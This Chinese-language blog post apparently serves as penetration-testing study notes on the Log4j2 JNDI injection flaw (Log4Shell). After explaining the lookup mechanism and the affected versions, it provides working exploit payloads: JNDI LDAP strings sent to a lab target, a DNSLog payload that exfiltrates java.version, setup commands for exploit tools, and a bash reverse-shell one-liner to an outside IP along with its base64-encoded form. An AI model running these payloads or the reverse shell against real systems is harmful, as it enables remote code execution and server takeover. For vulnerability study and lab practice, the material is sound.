1. Apache Log4j 简介

ApacheLog4j 是 Apache 软件基金会的一个开源项目,它是一个广泛使用的 Java 日志记录框架。

Log4j2 是 Log4j 的第二代版本,提供了比其前身 Log4j 1.x 更多的改进和特性使用 Log4j2 我们可以控制日志信息输送的目的地为控制台、文件、GUI 组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。

2. 漏洞简介

漏洞的核心在于 Log4j2 提供的 Lookup 功能下的 Jndi Lookup 模块。正常情况下,该功能模块在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源。

Log4j2在处理日志记录请求时,没有正确地对输入数据进行过滤和验证,允许攻击者通过构造特定的日志输入,触发 Java JNDl(Java Naming and Directory Interface)服务的远程查询,从而让攻击者可以请求并执行远程主机上的恶意代码。

攻击者可以通过向应用程序发送含有恶意JNDI查找请求的日志消息,利用漏洞执行远程代码。

下面是触发漏洞的两部分关键代码:

1. org.apache.logging.log4j.core.pattern.MessagePatternConverter 的 format() 方法(表达式内容替换):

这部分内容重点就在于代码的主要内容就是一旦发现日志中包含${就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行。

在${中可以使用的部分关键词如下:

Log4j - java

  • ${java:version} getSystemProperty("java.version")

  • ${java:runtime} getRuntime()

  • ${java:vm} getVirtualMachine()

  • ${java:os} getOperatingSystem()

  • ${java:hw} getHardware()

  • ${java:locale} getLocale()

Linux - env

  • ${env:CLASSPATH}

  • ${env:HOME}

  • ${env:JAVA_HOME}

  • ${env:LANG}

  • ${env:LC_TERMINAL}

2.apache.logging.log4j.core.lookup.StrSubstitutor(提取字符串,并通过lookup 进行内替换)

日志在打印时当遇到 ${后,Interpolator 类以:号作为分割,将表达式内容分割成两部分:

  • 前面部分作为 prefix

  • 后面部分作为 key

然后通过 prefix 去找对应的 lookup,通过对应的 lookup 实例调用 lookup 方法,最后将 key 作为参数带入执行。

由于 Log4j2 支持很多协议,例如通过 ldap 查找变量,通过 docker 查找变量,通过 rmi 等等。

目前使用最多的主要是使用 1dap 来构造 payload :

${jndi:ldap://ip/port/exp}

最终效果就是通过 jndi 注入,借助 ldap 服务来下载执行恶意 payload,从而执行命令

整个利用流程分两步:

  • 第一步:向目标发送指定 payload,目标对 payload 进行解析执行,然后会通过Idap 链接远程服务,当 Idap 服务收到请求之后,将请求进行重定向到恶意 java class 的地址。

  • 第二步:目标服务器收到重定向请求之后,下载恶意class 并执行其中的代码,从而执行系统命令。

整个利用流程如图所示:

相关文章: https://www.freebuf.com/sectool/313774.html

3.漏洞影响范围

Apache Log4j 2.0 ~ 2.15.0-rc1

4.漏洞利用

poc:

# POC
${jndi:ldap://IP}

# 请求地址
http://a296307fb645.target.yijinglab.com/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.eoj1.eyes.sh}

?action=${jndi:ldap://120.55.169.128:42100}

marsalsec

流程同 fastjson 一模一样,除了最后发送给服务器的 EXP 不同。

  • fastjson —— 发送 恶意 JSON 数据包(利用类进行 URL 访问我们的 RMI,RMI 再进行二次跳转下载恶意类)。

  • log4j —— 发送恶意 payload —— ${jndi:ldap://Host:Port} —— 利用上方漏洞说明中的特性,遇到 ${} 变量,xx类以 " : " 为分割,冒号后面的内容去冒号前面的类中寻找并执行,使得成功进行 ldap 重定向,于是我们传给服务器 ldap 地址访问我们的 RMI 服务即可,然后 RMI 再进行 重定向 二次跳转 下载挂载的恶意类 实现 Getshell。

log4j 的 marsalsec 也是一样的需要三次跳转,只不过第一步发给 服务器 的 EXP 不同而已:

  • fastjson 是发送相应的类执行 URL 重定向到 RMI 服务。

  • log4j 是 向服务器发送的 ldap 服务,利用 ldap 服务重定向到 RMI 服务。

此处示例用的是 LDAP 协议,RMI 协议同理的!只是所有地方均改成用 RMI 即可!不可某些地方 RMI 某些 地方 LDAP !!推荐 LDAP !!




jndi_marsalasec

下载脚本:

git clone https://gitee.com/yijingsec/jndi_marshalsec.git

cd jndi_marshalsec

python jndi_marshalsec.py

下方的大体字才是错的!用了脚本!这个脚本理论上是顺便也在监听 8000 端口的,但是不知道为什么此处无法行得通!暂时不要用!!!!除非和marsalsec一样再起一个 python3 -m http.server 主动手动去接重定向!!那这个脚本也没有任何意义!!不推荐!只有下面两个工具!!!

以下是错误理解!还是用的 JAR 而非脚本,所以下面这个操作是和 marsalsec 一模一样的!而不是相似!

步骤同 marsalsec 完全一样!除了顺便给出了 payload 可直接复制外没任何区别!这个脚本是方便 fastjson 的!!!因为 fastjson 的发往服务器数据包的 EXP 难写一点。




JNDI-Injection-Exploit

只用两段,会自动挂起 恶意类 在 8180 端口,同时监听了三个端口,1099对应 RMI 服务,1389 对应 LDAP 服务。

针对不同版本 jdk 生成了 不同 payload。

推荐!

只用这个工具无感生成 payload 并监听,监听 反弹shell 端口,然后手动复制 payload 发送给 服务器 即可。

工具使用格式:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "command" -A IP

payload 生成命令:

bash -i >& /dev/tcp/124.71.45.28/9090 0>&1

↓ echo,Base64 编码 上方 命令 —— Java 不能执行命令,编码执行 ↓

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzEuNDUuMjgvOTA5MCAwPiYx}|{base64,-d}|{bash,-i}

Log4j2VulnExp

下载脚本:

git clone https://gitee.com/yijingsec/Log4j2VulnExp.git

cd Log4j2VulnExp

python jndi_injection_exploit.py

跟 JNDI-Injection-Exploit 一模一样!!!

Log4j_RCE_Tool

https://github.com/inbug-team/Log4j_RCE_Tool

文章作者: QiaoShen
本文链接:
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 QiaoShen-World
漏洞详解 实景渗透基础 中间件 渗透 姿势 基础
喜欢就支持一下吧